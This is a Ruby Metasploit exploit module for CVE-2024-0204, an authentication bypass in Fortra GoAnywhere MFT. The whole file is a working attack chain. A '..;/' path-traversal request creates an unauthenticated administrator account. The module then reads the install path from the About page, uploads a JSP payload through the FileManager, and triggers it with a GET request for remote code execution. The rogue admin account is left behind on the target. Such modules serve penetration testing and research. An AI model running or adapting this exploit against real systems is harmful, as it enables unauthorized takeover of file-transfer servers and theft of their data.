/
fortra_goanywhere_mft_rce_cve_2024_0204.rb
380 lines (315 loc) · 14.5 KB
/
fortra_goanywhere_mft_rce_cve_2024_0204.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF RCE Exploit
'James Horseman', # Original auth bypass PoC/Analysis
'Zach Hanley' # Original auth bypass PoC/Analysis
],
'References' => [
['CVE', '2024-0204'],
['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
],
'DisclosureDate' => '2024-01-22',
'Platform' => %w[linux win],
'Arch' => [ARCH_JAVA],
'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
'Targets' => [
[
# Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
'Automatic', {}
],
[
'Linux',
{
'Platform' => 'linux',
'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
}
],
[
'Windows',
{
'Platform' => 'win',
'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
},
],
],
'DefaultOptions' => {
'RPORT' => 8001,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
# A new admin account is created, which the exploit can't destroy.
CONFIG_CHANGES,
# The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
]
)
end
def check
# We can query an undocumented unauthenticated REST API endpoint and pull the version number.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
json_data = res.get_json_document
product = json_data.dig('data', 'product')
version = json_data.dig('data', 'version')
return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?
# As per the Fortra advisory, the following version are affected:
# * Fortra GoAnywhere MFT 6.x from 6.0.1
# * Fortra GoAnywhere MFT 7.x before 7.4.1
# This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
return CheckCode::Appears("#{product} #{version}")
end
Exploit::CheckCode::Safe("#{product} #{version}")
end
def exploit
# CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
# we generate the username/password pair we want to use.
# Note: We cannot delete the administrator account that we create.
admin_username = Rex::Text.rand_text_alpha_lower(8)
admin_password = Rex::Text.rand_text_alphanumeric(16)
# By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
# the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
# dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
# a random one that we know works.
path_segments = %w[styles fonts auth help]
path_segment = path_segments.sample
# This is CVE-2024-0204...
initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
'j_id_u:creteAdminGrid:username' => admin_username,
'j_id_u:creteAdminGrid:password' => admin_password,
'j_id_u:creteAdminGrid:password_hinput' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
'j_id_u:creteAdminGrid:submitButton' => '',
'createAdminForm_SUBMIT' => 1
}
)
# The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
# loginNewAdminUser and update our current session, so we dont need to manually login.
unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
end
print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")
store_credentials(admin_username, admin_password)
# Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
if target.name == 'Automatic'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
end
# The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
# the Java system property "os.name".
os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
unless os_match
fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
end
# To perform the JSP payload upload, we need to know the product installation path.
install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
unless install_match
fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
end
# Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
found_target = targets.find do |t|
os_match[1].downcase.include? t.name.downcase
end
unless found_target
fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
end
# Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
detected_target = found_target.dup
detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]
print_status("Automatic targeting, detected OS: #{detected_target.name}")
print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
else
detected_target = target
end
# We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
# change to the directory we want to upload to, then upload the file.
path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'
# We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
adminroot_path += path_separator unless adminroot_path.end_with? path_separator
adminroot_path += 'adminroot'
adminroot_path += path_separator
viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'j_id_4u:j_id_4v:newPath_focus' => '',
'j_id_4u:j_id_4v:newPath_input' => '/',
'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
'j_id_4u:j_id_4v:NewPathButton' => '',
'j_id_4u_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
end
# We require a regID value form the page to upload a file, so we pull that out here.
vs_input = res.get_html_document.at('input[name="reqId"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
end
request_id = vs_input['value']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'javax.faces.partial.ajax' => 'true',
'javax.faces.source' => 'uploadID',
'javax.faces.partial.execute' => 'uploadID',
'javax.faces.partial.render' => '@none',
'uploadID' => 'uploadID',
'uploadID_sessionCheck' => 'true',
'reqId' => request_id,
'whenFileExists_focus' => '',
'whenFileExists_input' => 'rename',
'uploaderType' => 'filemanager',
'j_id_4i_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
end
jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'
message = Rex::MIME::Message.new
message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")
# We can now upload our payload...
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'data' => message.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
end
# Register our payload so it is deleted when the session is created.
jsp_filepath = adminroot_path + jsp_filename
print_status("Dropped payload: #{jsp_filepath}")
# We are using the FileDropper mixin to automatically delete this file after a session has been created.
register_file_for_cleanup(jsp_filepath)
# A copy of the files this user uploads is left here:
# /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
# We register these to be deleted, but they appear to be locked, preventing deleting.
userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
userdoc_path += path_separator unless userdoc_path.end_with? path_separator
userdoc_path += 'userdata'
userdoc_path += path_separator
userdoc_path += 'documents'
userdoc_path += path_separator
userdoc_path += admin_username
userdoc_path += path_separator
register_file_for_cleanup(userdoc_path + jsp_filename)
register_dir_for_cleanup(userdoc_path)
# Finally, trigger our payload via a GET request...
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
# NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
# interface or REST API.
end
# Helper method to pull out a viewstate identifier from a requests HTML response.
def get_viewstate(endpoint)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, endpoint),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
end
vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
end
vs_input['value']
end
def store_credentials(username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'GoAnywhere MFT Admin Interface',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
end